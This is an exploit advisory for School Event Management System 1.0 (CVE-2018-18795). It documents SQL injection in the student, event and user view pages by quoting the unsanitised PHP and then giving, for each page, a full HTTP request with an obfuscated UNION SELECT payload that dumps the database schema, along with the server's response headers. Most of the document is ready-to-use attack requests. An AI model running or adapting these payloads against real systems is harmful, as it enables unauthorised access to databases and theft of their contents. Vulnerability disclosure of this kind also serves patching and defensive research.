School Event Management System 1.0 - SQL Injection

# Exploit Title: School Event Management System 1.0 - SQL Injection
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/users/janobe
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/sems_1.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18795

# POC: 
# 1)
# http://localhost/[PATH]/student/index.php?view=view&id=[SQL]
# 
#[PATH]/student/view.php
#01 <?php  
#02     $student = New Student();
#03     $res = $student->select_student($_GET['id']);
#04 
#05      
#06     $course = New Course();
#07     $resCourse = $course->single_course($res->CourseID);
#08 
#09    ?>
GET /[PATH]/student/index.php?view=view&id=-1%27++uniOn+seLecT+%31%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=mrht5eahsjgrpgldk6c455ncm3
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sun, 28 Oct 2018 17:02:29 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=82
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/event/index.php?view=view&id=[SQL]
# 
#[PATH]/event/view.php
#01 <?php  
#02     $event = New Event();
#03     $res = $event->single_event($_GET['id']);
#04 
#05  
#06 
#07    ?>
GET /[PATH]/event/index.php?view=view&id=-1%27++uniOn+seLecT+%31%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c%33%2c%34%2c%35%2c%36%2c%37%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=mrht5eahsjgrpgldk6c455ncm3
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sun, 28 Oct 2018 17:12:15 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

# POC: 
# 3)
# http://localhost/[PATH]/user/index.php?view=view&id=[SQL]
# 
#[PATH]/user/view.php
#01 <?php  
#02     $user = New User();
#03     $res = $user->single_user($_GET['id']);
#04 
#05    
#06 
#07    ?>
GET /[PATH]/user/index.php?view=view&id=-1%27++uniOn+seLecT+%31%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c%33%2c%34%2c%35%2c%36%2c%37%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=mrht5eahsjgrpgldk6c455ncm3
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sun, 28 Oct 2018 17:16:52 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8